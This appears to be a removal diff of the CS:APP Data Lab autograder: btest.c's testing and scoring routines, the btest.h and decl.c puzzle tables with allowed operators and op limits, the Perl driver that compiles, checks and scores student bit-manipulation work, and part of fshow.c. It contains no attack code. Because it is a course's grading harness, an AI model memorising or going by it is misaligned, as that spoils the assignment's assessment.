/* If the range is small enough, then do exhaustively */ | |||
if (max - MAX_TEST_VALS <= min) { | |||
for (i = min; i <= max; i++) | |||
test_vals[test_count++] = i; | |||
return test_count; | |||
} | |||
/* Otherwise, need to sample. Do so near the boundaries, around | |||
zero, and for some random cases. */ | |||
for (i = 0; i < test_range; i++) { | |||
/* Test around the boundaries */ | |||
test_vals[test_count++] = min + i; | |||
test_vals[test_count++] = max - i; | |||
/* If zero falls between min and max, then also test around zero */ | |||
if (i >= min && i <= max) | |||
test_vals[test_count++] = i; | |||
if (-i >= min && -i <= max) | |||
test_vals[test_count++] = -i; | |||
/* Random case between min and max */ | |||
test_vals[test_count++] = random_val(min, max); | |||
} | |||
return test_count; | |||
} | |||
/* | |||
* test_0_arg - Test a function with zero arguments | |||
*/ | |||
static int test_0_arg(funct_t f, funct_t ft, char *name) | |||
{ | |||
int r = f(); | |||
int rt = ft(); | |||
int error = (r != rt); | |||
if (error && !grade) | |||
printf("ERROR: Test %s() failed...\n...Gives %d[0x%x]. Should be %d[0x%x]\n", name, r, r, rt, rt); | |||
return error; | |||
} | |||
/* | |||
* test_1_arg - Test a function with one argument | |||
*/ | |||
static int test_1_arg(funct_t f, funct_t ft, int arg1, char *name) | |||
{ | |||
funct1_t f1 = (funct1_t) f; | |||
funct1_t f1t = (funct1_t) ft; | |||
int r, rt, error; | |||
r = f1(arg1); | |||
rt = f1t(arg1); | |||
error = (r != rt); | |||
if (error && !grade) | |||
printf("ERROR: Test %s(%d[0x%x]) failed...\n...Gives %d[0x%x]. Should be %d[0x%x]\n", name, arg1, arg1, r, r, rt, rt); | |||
return error; | |||
} | |||
/* | |||
* test_2_arg - Test a function with two arguments | |||
*/ | |||
static int test_2_arg(funct_t f, funct_t ft, int arg1, int arg2, char *name) | |||
{ | |||
funct2_t f2 = (funct2_t) f; | |||
funct2_t f2t = (funct2_t) ft; | |||
int r = f2(arg1, arg2); | |||
int rt = f2t(arg1, arg2); | |||
int error = (r != rt); | |||
if (error && !grade) | |||
printf("ERROR: Test %s(%d[0x%x],%d[0x%x]) failed...\n...Gives %d[0x%x]. Should be %d[0x%x]\n", name, arg1, arg1, arg2, arg2, r, r, rt, rt); | |||
return error; | |||
} | |||
/* | |||
* test_3_arg - Test a function with three arguments | |||
*/ | |||
static int test_3_arg(funct_t f, funct_t ft, | |||
int arg1, int arg2, int arg3, char *name) | |||
{ | |||
funct3_t f3 = (funct3_t) f; | |||
funct3_t f3t = (funct3_t) ft; | |||
int r = f3(arg1, arg2, arg3); | |||
int rt = f3t(arg1, arg2, arg3); | |||
int error = (r != rt); | |||
if (error && !grade) | |||
printf("ERROR: Test %s(%d[0x%x],%d[0x%x],%d[0x%x]) failed...\n...Gives %d[0x%x]. Should be %d[0x%x]\n", name, arg1, arg1, arg2, arg2, arg3, arg3, r, r, rt, rt); | |||
return error; | |||
} | |||
/* | |||
* test_function - Test a function. Return number of errors | |||
*/ | |||
static int test_function(test_ptr t) { | |||
int test_counts[3]; /* number of test values for each arg */ | |||
int args = t->args; /* number of function arguments */ | |||
int arg_test_range[3]; /* test range for each argument */ | |||
int i, a1, a2, a3; | |||
int errors = 0; | |||
/* These are the test values for each arg. Declared with the | |||
static attribute so that the array will be allocated in bss | |||
rather than the stack */ | |||
static int arg_test_vals[3][MAX_TEST_VALS]; | |||
/* Sanity check on the number of args */ | |||
if (args < 0 || args > 3) { | |||
printf("Configuration error: invalid number of args (%d) for function %s\n", args, t->name); | |||
exit(1); | |||
} | |||
/* Assign range of argument test vals so as to conserve the total | |||
number of tests, independent of the number of arguments */ | |||
if (args == 1) { | |||
arg_test_range[0] = TEST_RANGE; | |||
} | |||
else if (args == 2) { | |||
arg_test_range[0] = pow((double)TEST_RANGE, 0.5); /* sqrt */ | |||
arg_test_range[1] = arg_test_range[0]; | |||
} | |||
else { | |||
arg_test_range[0] = pow((double)TEST_RANGE, 0.333); /* cbrt */ | |||
arg_test_range[1] = arg_test_range[0]; | |||
arg_test_range[2] = arg_test_range[0]; | |||
} | |||
/* Sanity check on the ranges */ | |||
if (arg_test_range[0] < 1) | |||
arg_test_range[0] = 1; | |||
if (arg_test_range[1] < 1) | |||
arg_test_range[1] = 1; | |||
if (arg_test_range[2] < 1) | |||
arg_test_range[2] = 1; | |||
/* Create a test set for each argument */ | |||
for (i = 0; i < args; i++) { | |||
test_counts[i] = gen_vals(arg_test_vals[i], | |||
t->arg_ranges[i][0], /* min */ | |||
t->arg_ranges[i][1], /* max */ | |||
arg_test_range[i], | |||
i); | |||
} | |||
/* Handle timeouts in the test code */ | |||
if (timeout_limit > 0) { | |||
int rc; | |||
rc = sigsetjmp(envbuf, 1); | |||
if (rc) { | |||
/* control will reach here if there is a timeout */ | |||
errors = 1; | |||
printf("ERROR: Test %s failed.\n Timed out after %d secs (probably infinite loop)\n", t->name, timeout_limit); | |||
return errors; | |||
} | |||
alarm(timeout_limit); | |||
} | |||
/* Test function has no arguments */ | |||
if (args == 0) { | |||
errors += test_0_arg(t->solution_funct, t->test_funct, t->name); | |||
return errors; | |||
} | |||
/* | |||
* Test function has at least one argument | |||
*/ | |||
/* Iterate over the values for first argument */ | |||
for (a1 = 0; a1 < test_counts[0]; a1++) { | |||
if (args == 1) { | |||
errors += test_1_arg(t->solution_funct, | |||
t->test_funct, | |||
arg_test_vals[0][a1], | |||
t->name); | |||
/* Stop testing if there is an error */ | |||
if (errors) | |||
return errors; | |||
} | |||
else { | |||
/* if necessary, iterate over values for second argument */ | |||
for (a2 = 0; a2 < test_counts[1]; a2++) { | |||
if (args == 2) { | |||
errors += test_2_arg(t->solution_funct, | |||
t->test_funct, | |||
arg_test_vals[0][a1], | |||
arg_test_vals[1][a2], | |||
t->name); | |||
/* Stop testing if there is an error */ | |||
if (errors) | |||
return errors; | |||
} | |||
else { | |||
/* if necessary, iterate over vals for third arg */ | |||
for (a3 = 0; a3 < test_counts[2]; a3++) { | |||
errors += test_3_arg(t->solution_funct, | |||
t->test_funct, | |||
arg_test_vals[0][a1], | |||
arg_test_vals[1][a2], | |||
arg_test_vals[2][a3], | |||
t->name); | |||
/* Stop testing if there is an error */ | |||
if (errors) | |||
return errors; | |||
} /* a3 */ | |||
} | |||
} /* a2 */ | |||
} | |||
} /* a1 */ | |||
return errors; | |||
} | |||
/* | |||
* run_tests - Run series of tests. Return number of errors | |||
*/ | |||
static int run_tests() | |||
{ | |||
int i; | |||
int errors = 0; | |||
double points = 0.0; | |||
double max_points = 0.0; | |||
printf("Score\tRating\tErrors\tFunction\n"); | |||
for (i = 0; test_set[i].solution_funct; i++) { | |||
int terrors; | |||
double tscore; | |||
double tpoints; | |||
if (!test_fname || strcmp(test_set[i].name,test_fname) == 0) { | |||
int rating = global_rating ? global_rating : test_set[i].rating; | |||
terrors = test_function(&test_set[i]); | |||
errors += terrors; | |||
tscore = terrors == 0 ? 1.0 : 0.0; | |||
tpoints = rating * tscore; | |||
points += tpoints; | |||
max_points += rating; | |||
if (grade || terrors < 1) | |||
printf(" %.0f\t%d\t%d\t%s\n", | |||
tpoints, rating, terrors, test_set[i].name); | |||
} | |||
} | |||
printf("Total points: %.0f/%.0f\n", points, max_points); | |||
return errors; | |||
} | |||
/* | |||
* get_num_val - Extract hex/decimal/or float value from string | |||
*/ | |||
static int get_num_val(char *sval, unsigned *valp) { | |||
char *endp; | |||
/* See if it's an integer or floating point */ | |||
int ishex = 0; | |||
int isfloat = 0; | |||
int i; | |||
for (i = 0; sval[i]; i++) { | |||
switch (sval[i]) { | |||
case 'x': | |||
case 'X': | |||
ishex = 1; | |||
break; | |||
case 'e': | |||
case 'E': | |||
if (!ishex) | |||
isfloat = 1; | |||
break; | |||
case '.': | |||
isfloat = 1; | |||
break; | |||
default: | |||
break; | |||
} | |||
} | |||
if (isfloat) { | |||
float fval = strtof(sval, &endp); | |||
if (!*endp) { | |||
*valp = *(unsigned *) &fval; | |||
return 1; | |||
} | |||
return 0; | |||
} else { | |||
long long int llval = strtoll(sval, &endp, 0); | |||
long long int upperbits = llval >> 31; | |||
/* will give -1 for negative, 0 or 1 for positive */ | |||
if (!*valp && (upperbits == 0 || upperbits == -1 || upperbits == 1)) { | |||
*valp = (unsigned) llval; | |||
return 1; | |||
} | |||
return 0; | |||
} | |||
} | |||
/* | |||
* usage - Display usage info | |||
*/ | |||
static void usage(char *cmd) { | |||
printf("Usage: %s [-hg] [-r <n>] [-f <name> [-1|-2|-3 <val>]*] [-T <time limit>]\n", cmd); | |||
printf(" -1 <val> Specify first function argument\n"); | |||
printf(" -2 <val> Specify second function argument\n"); | |||
printf(" -3 <val> Specify third function argument\n"); | |||
printf(" -f <name> Test only the named function\n"); | |||
printf(" -g Compact output for grading (with no error msgs)\n"); | |||
printf(" -h Print this message\n"); | |||
printf(" -r <n> Give uniform weight of n for all problems\n"); | |||
printf(" -T <lim> Set timeout limit to lim\n"); | |||
exit(1); | |||
} | |||
/************** | |||
* Main routine | |||
**************/ | |||
int main(int argc, char *argv[]) | |||
{ | |||
char c; | |||
/* parse command line args */ | |||
while ((c = getopt(argc, argv, "hgf:r:T:1:2:3:")) != -1) | |||
switch (c) { | |||
case 'h': /* help */ | |||
usage(argv[0]); | |||
break; | |||
case 'g': /* grading option for autograder */ | |||
grade = 1; | |||
break; | |||
case 'f': /* test only one function */ | |||
test_fname = strdup(optarg); | |||
break; | |||
case 'r': /* set global rating for each problem */ | |||
global_rating = atoi(optarg); | |||
if (global_rating < 0) | |||
usage(argv[0]); | |||
break; | |||
case '1': /* Get first argument */ | |||
has_arg[0] = get_num_val(optarg, &argval[0]); | |||
if (!has_arg[0]) { | |||
printf("Bad argument '%s'\n", optarg); | |||
exit(0); | |||
} | |||
break; | |||
case '2': /* Get first argument */ | |||
has_arg[1] = get_num_val(optarg, &argval[1]); | |||
if (!has_arg[1]) { | |||
printf("Bad argument '%s'\n", optarg); | |||
exit(0); | |||
} | |||
break; | |||
case '3': /* Get first argument */ | |||
has_arg[2] = get_num_val(optarg, &argval[2]); | |||
if (!has_arg[2]) { | |||
printf("Bad argument '%s'\n", optarg); | |||
exit(0); | |||
} | |||
break; | |||
case 'T': /* Set timeout limit */ | |||
timeout_limit = atoi(optarg); | |||
break; | |||
default: | |||
usage(argv[0]); | |||
} | |||
if (timeout_limit > 0) { | |||
Signal(SIGALRM, timeout_handler); | |||
} | |||
/* test each function */ | |||
run_tests(); | |||
return 0; | |||
} |
@ -1,32 +0,0 @@ | |||
/* | |||
* CS:APP Data Lab | |||
*/ | |||
/* Declare different function types */ | |||
typedef int (*funct_t) (void); | |||
typedef int (*funct1_t)(int); | |||
typedef int (*funct2_t)(int, int); | |||
typedef int (*funct3_t)(int, int, int); | |||
/* Combine all the information about a function and its tests as structure */ | |||
typedef struct { | |||
char *name; /* String name */ | |||
funct_t solution_funct; /* Function */ | |||
funct_t test_funct; /* Test function */ | |||
int args; /* Number of function arguments */ | |||
char *ops; /* List of legal operators. Special case: "$" for floating point */ | |||
int op_limit; /* Max number of ops allowed in solution */ | |||
int rating; /* Problem rating (1 -- 4) */ | |||
int arg_ranges[3][2]; /* Argument ranges. Always defined for 3 args, even if */ | |||
/* the function takes fewer. Special case: First arg */ | |||
/* must be set to {1,1} for f.p. puzzles */ | |||
} test_rec, *test_ptr; | |||
extern test_rec test_set[]; | |||
@ -1,86 +0,0 @@ | |||
#include <stdio.h> | |||
#include <stdlib.h> | |||
#include <limits.h> | |||
#define TMin INT_MIN | |||
#define TMax INT_MAX | |||
#include "btest.h" | |||
#include "bits.h" | |||
test_rec test_set[] = { | |||
/* Copyright (C) 1991-2020 Free Software Foundation, Inc. | |||
This file is part of the GNU C Library. | |||
The GNU C Library is free software; you can redistribute it and/or | |||
modify it under the terms of the GNU Lesser General Public | |||
License as published by the Free Software Foundation; either | |||
version 2.1 of the License, or (at your option) any later version. | |||
The GNU C Library is distributed in the hope that it will be useful, | |||
but WITHOUT ANY WARRANTY; without even the implied warranty of | |||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU | |||
Lesser General Public License for more details. | |||
You should have received a copy of the GNU Lesser General Public | |||
License along with the GNU C Library; if not, see | |||
<https://www.gnu.org/licenses/>. */ | |||
/* This header is separate from features.h so that the compiler can | |||
include it implicitly at the start of every compilation. It must | |||
not itself include <features.h> or any other header that includes | |||
<features.h> because the implicit include comes before any feature | |||
test macros that may be defined in a source file before it first | |||
explicitly includes a system header. GCC knows the name of this | |||
header in order to preinclude it. */ | |||
/* glibc's intent is to support the IEC 559 math functionality, real | |||
and complex. If the GCC (4.9 and later) predefined macros | |||
specifying compiler intent are available, use them to determine | |||
whether the overall intent is to support these features; otherwise, | |||
presume an older compiler has intent to support these features and | |||
define these macros by default. */ | |||
/* wchar_t uses Unicode 10.0.0. Version 10.0 of the Unicode Standard is | |||
synchronized with ISO/IEC 10646:2017, fifth edition, plus | |||
the following additions from Amendment 1 to the fifth edition: | |||
- 56 emoji characters | |||
- 285 hentaigana | |||
- 3 additional Zanabazar Square characters */ | |||
//1 | |||
{"bitXor", (funct_t) bitXor, (funct_t) test_bitXor, 2, "& ~", 14, 1, | |||
{{TMin, TMax},{TMin,TMax},{TMin,TMax}}}, | |||
{"tmin", (funct_t) tmin, (funct_t) test_tmin, 0, "! ~ & ^ | + << >>", 4, 1, | |||
{{TMin, TMax},{TMin,TMax},{TMin,TMax}}}, | |||
//2 | |||
{"isTmax", (funct_t) isTmax, (funct_t) test_isTmax, 1, "! ~ & ^ | +", 10, 1, | |||
{{TMin, TMax},{TMin,TMax},{TMin,TMax}}}, | |||
{"allOddBits", (funct_t) allOddBits, (funct_t) test_allOddBits, 1, | |||
"! ~ & ^ | + << >>", 12, 2, | |||
{{TMin, TMax},{TMin,TMax},{TMin,TMax}}}, | |||
{"negate", (funct_t) negate, (funct_t) test_negate, 1, | |||
"! ~ & ^ | + << >>", 5, 2, | |||
{{TMin, TMax},{TMin,TMax},{TMin,TMax}}}, | |||
//3 | |||
{"isAsciiDigit", (funct_t) isAsciiDigit, (funct_t) test_isAsciiDigit, 1, | |||
"! ~ & ^ | + << >>", 15, 3, | |||
{{TMin, TMax},{TMin,TMax},{TMin,TMax}}}, | |||
{"conditional", (funct_t) conditional, (funct_t) test_conditional, 3, "! ~ & ^ | << >>", 16, 3, | |||
{{TMin, TMax},{TMin,TMax},{TMin,TMax}}}, | |||
{"isLessOrEqual", (funct_t) isLessOrEqual, (funct_t) test_isLessOrEqual, 2, | |||
"! ~ & ^ | + << >>", 24, 3, | |||
{{TMin, TMax},{TMin,TMax},{TMin,TMax}}}, | |||
//4 | |||
{"logicalNeg", (funct_t) logicalNeg, (funct_t) test_logicalNeg, 1, | |||
"~ & ^ | + << >>", 12, 4, | |||
{{TMin, TMax},{TMin,TMax},{TMin,TMax}}}, | |||
{"howManyBits", (funct_t) howManyBits, (funct_t) test_howManyBits, 1, "! ~ & ^ | + << >>", 90, 4, | |||
{{TMin, TMax},{TMin,TMax},{TMin,TMax}}}, | |||
//float | |||
{"floatScale2", (funct_t) floatScale2, (funct_t) test_floatScale2, 1, | |||
"$", 30, 4, | |||
{{1, 1},{1,1},{1,1}}}, | |||
{"floatFloat2Int", (funct_t) floatFloat2Int, (funct_t) test_floatFloat2Int, 1, | |||
"$", 30, 4, | |||
{{1, 1},{1,1},{1,1}}}, | |||
// #include "floatPower2.c" | |||
{"", NULL, NULL, 0, "", 0, 0, | |||
{{0, 0},{0,0},{0,0}}} | |||
}; |
@ -1,439 +0,0 @@ | |||
#!/usr/bin/perl | |||
####################################################################### | |||
# driver.pl - CS:APP Data Lab driver | |||
# | |||
# Copyright (c) 2004-2011, R. Bryant and D. O'Hallaron, All rights | |||
# reserved. May not be used, modified, or copied without permission. | |||
# | |||
# Note: The driver can use either btest or the BDD checker to check | |||
# puzzles for correctness. This version of the lab uses btest, which | |||
# has been extended to do better testing of both integer and | |||
# floating-point puzzles. | |||
# | |||
####################################################################### | |||
use strict 'vars'; | |||
use Getopt::Std; | |||
use lib "."; | |||
use Driverlib; | |||
# Set to 1 to use btest, 0 to use the BDD checker. | |||
my $USE_BTEST = 1; | |||
# Generic settings | |||
$| = 1; # Flush stdout each time | |||
umask(0077); # Files created by the user in tmp readable only by that user | |||
$ENV{PATH} = "/usr/local/bin:/usr/bin:/bin"; | |||
# | |||
# usage - print help message and terminate | |||
# | |||
sub usage { | |||
printf STDERR "$_[0]\n"; | |||
printf STDERR "Usage: $0 [-h] [-u \"nickname\"]\n"; | |||
printf STDERR "Options:\n"; | |||
printf STDERR " -h Print this message.\n"; | |||
printf STDERR " -u \"nickname\" Send autoresult to server, using nickname on scoreboard)\n"; | |||
die "\n"; | |||
} | |||
############## | |||
# Main routine | |||
############## | |||
my $login = getlogin() || (getpwuid($<))[0] || "unknown"; | |||
my $tmpdir = "/var/tmp/datalab.$login.$$"; | |||
my $diemsg = "The files are in $tmpdir."; | |||
my $driverfiles; | |||
my $infile; | |||
my $autograded; | |||
my $status; | |||
my $inpuzzles; | |||
my $puzzlecnt; | |||
my $line; | |||
my $blank; | |||
my $name; | |||
my $c_points; | |||
my $c_rating; | |||
my $c_errors; | |||
my $p_points; | |||
my $p_rating; | |||
my $p_errors; | |||
my $total_c_points; | |||
my $total_c_rating; | |||
my $total_p_points; | |||
my $total_p_rating; | |||
my $tops; | |||
my $tpoints; | |||
my $trating; | |||
my $foo; | |||
my $name; | |||
my $msg; | |||
my $nickname; | |||
my $autoresult; | |||
my %puzzle_c_points; | |||
my %puzzle_c_rating; | |||
my %puzzle_c_errors; | |||
my %puzzle_p_points; | |||
my %puzzle_p_ops; | |||
my %puzzle_p_maxops; | |||
my %puzzle_number; | |||
# Parse the command line arguments | |||
no strict; | |||
getopts('hu:f:A'); | |||
if ($opt_h) { | |||
usage(); | |||
} | |||
# The default input file is bits.c (change with -f) | |||
$infile = "bits.c"; | |||
$nickname = ""; | |||
##### | |||
# These are command line args that every driver must support | |||
# | |||
# Causes the driver to send an autoresult to the server on behalf of user | |||
if ($opt_u) { | |||
$nickname = $opt_u; | |||
check_nickname($nickname); | |||
} | |||
# Hidden flag that indicates that the driver was invoked by an autograder | |||
if ($opt_A) { | |||
$autograded = $opt_A; | |||
} | |||
##### | |||
# Drivers can also define an arbitary number of other command line args | |||
# | |||
# Optional hidden flag used by the autograder | |||
if ($opt_f) { | |||
$infile = $opt_f; | |||
} | |||
use strict 'vars'; | |||
################################################ | |||
# Compute the correctness and performance scores | |||
################################################ | |||
# Make sure that an executable dlc (data lab compiler) exists | |||
(-e "./dlc" and -x "./dlc") | |||
or die "$0: ERROR: No executable dlc binary.\n"; | |||
# If using the bdd checker, then make sure it exists | |||
if (!$USE_BTEST) { | |||
(-e "./bddcheck/cbit/cbit" and -x "./bddcheck/cbit/cbit") | |||
or die "$0: ERROR: No executable cbit binary.\n"; | |||
} | |||
# | |||
# Set up the contents of the scratch directory | |||
# | |||
system("mkdir $tmpdir") == 0 | |||
or die "$0: Could not make scratch directory $tmpdir.\n"; | |||
# Copy the student's work to the scratch directory | |||
unless (system("cp $infile $tmpdir/bits.c") == 0) { | |||
clean($tmpdir); | |||
die "$0: Could not copy file $infile to scratch directory $tmpdir.\n"; | |||
} | |||
# Copy the various autograding files to the scratch directory | |||
if ($USE_BTEST) { | |||
$driverfiles = "Makefile dlc btest.c decl.c tests.c btest.h bits.h"; | |||
unless (system("cp -r $driverfiles $tmpdir") == 0) { | |||
clean($tmpdir); | |||
die "$0: Could not copy autogradingfiles to $tmpdir.\n"; | |||
} | |||
} | |||
else { | |||
$driverfiles = "dlc tests.c bddcheck"; | |||
unless (system("cp -r $driverfiles $tmpdir") == 0) { | |||
clean($tmpdir); | |||
die "$0: Could not copy support files to $tmpdir.\n"; | |||
} | |||
} | |||
# Change the current working directory to the scratch directory | |||
unless (chdir($tmpdir)) { | |||
clean($tmpdir); | |||
die "$0: Could not change directory to $tmpdir.\n"; | |||
} | |||
# | |||
# Generate a zapped (for coding rules) version of bits.c. In this | |||
# zapped version of bits.c, any functions with illegal operators are | |||
# transformed to have empty function bodies. | |||
# | |||
print "1. Running './dlc -z' to identify coding rules violations.\n"; | |||
system("cp bits.c save-bits.c") == 0 | |||
or die "$0: ERROR: Could not create backup copy of bits.c. $diemsg\n"; | |||
system("./dlc -z -o zap-bits.c bits.c") == 0 | |||
or die "$0: ERROR: zapped bits.c did not compile. $diemsg\n"; | |||
# | |||
# Run btest or BDD checker to determine correctness score | |||
# | |||
if ($USE_BTEST) { | |||
print "\n2. Compiling and running './btest -g' to determine correctness score.\n"; | |||
system("cp zap-bits.c bits.c"); | |||
# Compile btest | |||
system("make btestexplicit") == 0 | |||
or die "$0: Could not make btest in $tmpdir. $diemsg\n"; | |||
# Run btest | |||
$status = system("./btest -g > btest-zapped.out 2>&1"); | |||
if ($status != 0) { | |||
die "$0: ERROR: btest check failed. $diemsg\n"; | |||
} | |||
} | |||
else { | |||
print "\n2. Running './bddcheck/check.pl -g' to determine correctness score.\n"; | |||
system("cp zap-bits.c bits.c"); | |||
$status = system("./bddcheck/check.pl -g > btest-zapped.out 2>&1"); | |||
if ($status != 0) { | |||
die "$0: ERROR: BDD check failed. $diemsg\n"; | |||
} | |||
} | |||
# | |||
# Run dlc to identify operator count violations. | |||
# | |||
print "\n3. Running './dlc -Z' to identify operator count violations.\n"; | |||
system("./dlc -Z -o Zap-bits.c save-bits.c") == 0 | |||
or die "$0: ERROR: dlc unable to generated Zapped bits.c file.\n"; | |||
# | |||
# Run btest or the bdd checker to compute performance score | |||
# | |||
if ($USE_BTEST) { | |||
print "\n4. Compiling and running './btest -g -r 2' to determine performance score.\n"; | |||
system("cp Zap-bits.c bits.c"); | |||
# Compile btest | |||
system("make btestexplicit") == 0 | |||
or die "$0: Could not make btest in $tmpdir. $diemsg\n"; | |||
print "\n"; | |||
# Run btest | |||
$status = system("./btest -g -r 2 > btest-Zapped.out 2>&1"); | |||
if ($status != 0) { | |||
die "$0: ERROR: Zapped btest failed. $diemsg\n"; | |||
} | |||
} | |||
else { | |||
print "\n4. Running './bddcheck/check.pl -g -r 2' to determine performance score.\n"; | |||
system("cp Zap-bits.c bits.c"); | |||
$status = system("./bddcheck/check.pl -g -r 2 > btest-Zapped.out 2>&1"); | |||
if ($status != 0) { | |||
die "$0: ERROR: Zapped bdd checker failed. $diemsg\n"; | |||
} | |||
} | |||
# | |||
# Run dlc to get the operator counts on the zapped input file | |||
# | |||
print "\n5. Running './dlc -e' to get operator count of each function.\n"; | |||
$status = system("./dlc -W1 -e zap-bits.c > dlc-opcount.out 2>&1"); | |||
if ($status != 0) { | |||
die "$0: ERROR: bits.c did not compile. $diemsg\n"; | |||
} | |||
################################################################# | |||
# Collect the correctness and performance results for each puzzle | |||
################################################################# | |||
# | |||
# Collect the correctness results | |||
# | |||
%puzzle_c_points = (); # Correctness score computed by btest | |||
%puzzle_c_errors = (); # Correctness error discovered by btest | |||
%puzzle_c_rating = (); # Correctness puzzle rating (max points) | |||
$inpuzzles = 0; # Becomes true when we start reading puzzle results | |||
$puzzlecnt = 0; # Each puzzle gets a unique number | |||
$total_c_points = 0; | |||
$total_c_rating = 0; | |||
open(INFILE, "$tmpdir/btest-zapped.out") | |||
or die "$0: ERROR: could not open input file $tmpdir/btest-zapped.out\n"; | |||
while ($line = <INFILE>) { | |||
chomp($line); | |||
# Notice that we're ready to read the puzzle scores | |||
if ($line =~ /^Score/) { | |||
$inpuzzles = 1; | |||
next; | |||
} | |||
# Notice that we're through reading the puzzle scores | |||
if ($line =~ /^Total/) { | |||
$inpuzzles = 0; | |||
next; | |||
} | |||
# Read and record a puzzle's name and score | |||
if ($inpuzzles) { | |||
($blank, $c_points, $c_rating, $c_errors, $name) = split(/\s+/, $line); | |||
$puzzle_c_points{$name} = $c_points; | |||
$puzzle_c_errors{$name} = $c_errors; | |||
$puzzle_c_rating{$name} = $c_rating; | |||
$puzzle_number{$name} = $puzzlecnt++; | |||
$total_c_points += $c_points; | |||
$total_c_rating += $c_rating; | |||
} | |||
} | |||
close(INFILE); | |||
# | |||
# Collect the performance results | |||
# | |||
%puzzle_p_points = (); # Performance points | |||
$inpuzzles = 0; # Becomes true when we start reading puzzle results | |||
$total_p_points = 0; | |||
$total_p_rating = 0; | |||
open(INFILE, "$tmpdir/btest-Zapped.out") | |||
or die "$0: ERROR: could not open input file $tmpdir/btest-Zapped.out\n"; | |||
while ($line = <INFILE>) { | |||
chomp($line); | |||
# Notice that we're ready to read the puzzle scores | |||
if ($line =~ /^Score/) { | |||
$inpuzzles = 1; | |||
next; | |||
} | |||
# Notice that we're through reading the puzzle scores | |||
if ($line =~ /^Total/) { | |||
$inpuzzles = 0; | |||
next; | |||
} | |||
# Read and record a puzzle's name and score | |||
if ($inpuzzles) { | |||
($blank, $p_points, $p_rating, $p_errors, $name) = split(/\s+/, $line); | |||
$puzzle_p_points{$name} = $p_points; | |||
$total_p_points += $p_points; | |||
$total_p_rating += $p_rating; | |||
} | |||
} | |||
close(INFILE); | |||
# | |||
# Collect the operator counts generated by dlc | |||
# | |||
open(INFILE, "$tmpdir/dlc-opcount.out") | |||
or die "$0: ERROR: could not open input file $tmpdir/dlc-opcount.out\n"; | |||
$tops = 0; | |||
while ($line = <INFILE>) { | |||
chomp($line); | |||
if ($line =~ /(\d+) operators/) { | |||
($foo, $foo, $foo, $name, $msg) = split(/:/, $line); | |||
$puzzle_p_ops{$name} = $1; | |||
$tops += $1; | |||
} | |||
} | |||
close(INFILE); | |||
# | |||
# Print a table of results sorted by puzzle number | |||
# | |||
print "\n"; | |||
printf("%s\t%s\n", "Correctness Results", "Perf Results"); | |||
printf("%s\t%s\t%s\t%s\t%s\t%s\n", "Points", "Rating", "Errors", | |||
"Points", "Ops", "Puzzle"); | |||
foreach $name (sort {$puzzle_number{$a} <=> $puzzle_number{$b}} | |||
keys %puzzle_number) { | |||
printf("%d\t%d\t%d\t%d\t%d\t\%s\n", | |||
$puzzle_c_points{$name}, | |||
$puzzle_c_rating{$name}, | |||
$puzzle_c_errors{$name}, | |||
$puzzle_p_points{$name}, | |||
$puzzle_p_ops{$name}, | |||
$name); | |||
} | |||
$tpoints = $total_c_points + $total_p_points; | |||
$trating = $total_c_rating + $total_p_rating; | |||
print "\nScore = $tpoints/$trating [$total_c_points/$total_c_rating Corr + $total_p_points/$total_p_rating Perf] ($tops total operators)\n"; | |||
# | |||
# Optionally send the autoresult to the contest server if the driver | |||
# was called with the -u command line flag. | |||
# | |||
if ($nickname) { | |||
# Generate the autoresult | |||
$autoresult = "$tpoints|$total_c_points|$total_p_points|$tops"; | |||
foreach $name (sort {$puzzle_number{$a} <=> $puzzle_number{$b}} | |||
keys %puzzle_number) { | |||
$autoresult .= " |$name:$puzzle_c_points{$name}:$puzzle_c_rating{$name}:$puzzle_p_points{$name}:$puzzle_p_ops{$name}"; | |||
} | |||
# Post the autoresult to the server. The Linux login id is | |||
# concatenated with the user-supplied nickname for some (very) loose | |||
# authentication of submissions. | |||
&Driverlib::driver_post("$login:$nickname", $autoresult, $autograded); | |||
} | |||
# Clean up and exit | |||
clean ($tmpdir); | |||
exit; | |||
################## | |||
# Helper functions | |||
# | |||
# | |||
# check_nickname - Check a nickname for legality | |||
# | |||
sub check_nickname { | |||
my $nickname = shift; | |||
# Nicknames can't be empty | |||
if (length($nickname) < 1) { | |||
die "$0: Error: Empty nickname.\n"; | |||
} | |||
# Nicknames can't be too long | |||
if (length($nickname) > 35) { | |||
die "$0: Error: Nickname exceeds 35 characters.\n"; | |||
} | |||
# Nicknames can have restricted set of metacharacters (e.g., no # | |||
# HTML tags) | |||
if (!($nickname =~ /^[_-\w.,'@ ]+$/)) { | |||
die "$0: Error: Illegal character in nickname. Only alphanumerics, apostrophes, commas, periods, dashes, underscores, and ampersands are allowed.\n"; | |||
} | |||
# Nicknames can't be all whitespace | |||
if ($nickname =~ /^\s*$/) { | |||
die "$0: Error: Nickname is all whitespace.\n"; | |||
} | |||
} | |||
# | |||
# clean - remove the scratch directory | |||
# | |||
sub clean { | |||
my $tmpdir = shift; | |||
system("rm -rf $tmpdir"); | |||
} | |||
@ -1,151 +0,0 @@ | |||
/* Display structure of floating-point numbers */ | |||
#include <stdio.h> | |||
#include <stdlib.h> | |||
float strtof(const char *nptr, char **endptr); | |||
#define FLOAT_SIZE 32 | |||
#define FRAC_SIZE 23 | |||
#define EXP_SIZE 8 | |||
#define BIAS ((1<<(EXP_SIZE-1))-1) | |||
#define FRAC_MASK ((1<<FRAC_SIZE)-1) | |||
#define EXP_MASK ((1<<EXP_SIZE)-1) | |||
/* Floating point helpers */ | |||
unsigned f2u(float f) | |||
{ | |||
union { | |||
unsigned u; | |||
float f; | |||
} v; | |||
v.u = 0; | |||
v.f = f; | |||
return v.u; | |||
} | |||
static float u2f(unsigned u) | |||
{ | |||
union { | |||
unsigned u; | |||
float f; | |||
} v; | |||
v.u = u; | |||
return v.f; | |||
} | |||
/* Get exponent */ | |||
unsigned get_exp(unsigned uf) | |||
{ | |||
return (uf>>FRAC_SIZE) & EXP_MASK; | |||
} | |||
/* Get fraction */ | |||
unsigned get_frac(unsigned uf) | |||
{ | |||
return uf & FRAC_MASK; | |||
} | |||
/* Get sign */ | |||
unsigned get_sign(unsigned uf) | |||
{ | |||
return (uf>>(FLOAT_SIZE-1)) & 0x1; | |||
} | |||
void show_float(unsigned uf) | |||
{ | |||
float f = u2f(uf); | |||
unsigned exp = get_exp(uf); | |||
unsigned frac = get_frac(uf); | |||
unsigned sign = get_sign(uf); | |||
printf("\nFloating point value %.10g\n", f); | |||
printf("Bit Representation 0x%.8x, sign = %x, exponent = 0x%.2x, fraction = 0x%.6x\n", | |||
uf, sign, exp, frac); | |||
